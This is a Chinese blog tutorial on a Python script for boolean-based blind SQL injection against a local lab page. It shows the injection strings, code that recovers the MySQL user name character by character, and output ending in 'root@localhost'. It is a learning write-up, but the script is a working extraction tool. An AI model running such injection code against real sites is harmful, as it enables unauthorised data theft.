Python

python之盲注探测脚本

字号+ 作者:v5est0r 来源:i春秋社区 2016-11-25 10:08 我要评论( )

文原创作者:v5est0r,本文属i春秋原创奖励计划,未经许可禁止转载 叫冰河怕辱了前辈的名声 前言: 最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录......

文原创作者:v5est0r,本文属i春秋原创奖励计划,未经许可禁止转载

叫冰河怕辱了前辈的名声

前言:
最近在学python,做了个盲注的简单的跑用户的脚本,仅做个记录。
sqmap也有不灵的时候,有时需要根据情况自写脚本探测

正文:
本地用大表姐给的sql和php文件搭建了个布尔盲注的靶机
另外感谢大表姐的指导。




Demo:

[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: UTF-8 -*-
 
import sys
import requests
 
url = 'http://192.168.1.109/get_str.php?user=booooom%s'
 
headers = {
    'user-agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'
}
 
check_data = list('1234567890abcdefghijklmnopqrstuvwxyz@')
 
#check_list = list('12345abcde')
print 'Start to retrive MySQL user:'
 
l = "' and length(user())=%s and '1'='1"
st = "' and substr(user(),%s,1)='%s' and '1'='1"
 
user = ''
 
for i in range(1,20):
    sql = l % str(i)
    judge1 = requests.get(url % sql,headers=headers,timeout=60)
    #print(judge1.content)
    if judge1.content.find("Name:booooom") != -1:
        length = i
        print(i)
        break
 
 
 
for k in range(1,i + 1):
    #print user
    for ss in check_data:
        str_user = st % (str(k), str(ss))
        judge2 = requests.get(url % str_user,headers = headers,timeout=60)
        #print(judge2.content)
        if judge2.content.find("User Name:booooom") != -1:
            user = user + ss
 
print(user)
稍作解释:

注入语句里用%s占位,等待在for循里面依次判断长度

[AppleScript] 纯文本查看 复制代码
?
l = "' and length(user())=%s and '1'='1"

requests获取页面执行返回,find方法定位成功的页面特征booooom
#find()方法对字符串的处理,如果匹配到,则返回索引,第几位匹配到,若没有匹配到,则返回-1,即返回一直为int型

[AppleScript] 纯文本查看 复制代码
?
1
2
3
4
5
6
7
8
for i in range(1,20):
    sql = l % str(i)
    judge1 = requests.get(url % sql,headers=headers,timeout=60)
    #print(judge1.content)
    if judge1.content.find("Name:booooom") != -1:
        length = i
        print(i)
        break

此处判断得出长度为14
得出长度下一步来一位一位判断字符,
先把字符集存在列表待取

[AppleScript] 纯文本查看 复制代码
?
check_data = list('1234567890abcdefghijklmnopqrstuvwxyz@')

接下来的套路与判断长度一样 先在for循环里枚举字符与数据做对比,if判断对比一致则可以匹配到页面特征booooom
最后一位一位判断出数据库用户

[AppleScript] 纯文本查看 复制代码
?
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
Start to retrive MySQL user:
14
 
r
ro
roo
root
root@
root@l
root@lo
root@loc
root@loca
root@local
root@localh
root@localho
root@localhos
root@localhost

9ADED56D-33B5-4CD7-906F-982C07413016.png (35.44 KB, 下载次数: 2)

下载附件  保存到相册

2016-9-9 07:39 上传


一个一个猜库名 表名和内容 ,是一样的套路 有兴趣的可以练练手。

本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Python/270.html

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

相关文章
  • 动力ssrf漏洞利用python脚本

    动力ssrf漏洞利用python脚本

    2017-04-18 08:53

  • python多线程在渗透测试中的应用

    python多线程在渗透测试中的应用

    2017-03-09 13:54

  • Python学习笔记

    Python学习笔记

    2016-12-28 09:31

  • 记录一次简单的python爬虫经历

    记录一次简单的python爬虫经历

    2016-12-28 09:30

网友点评
暂时未开启评论功能~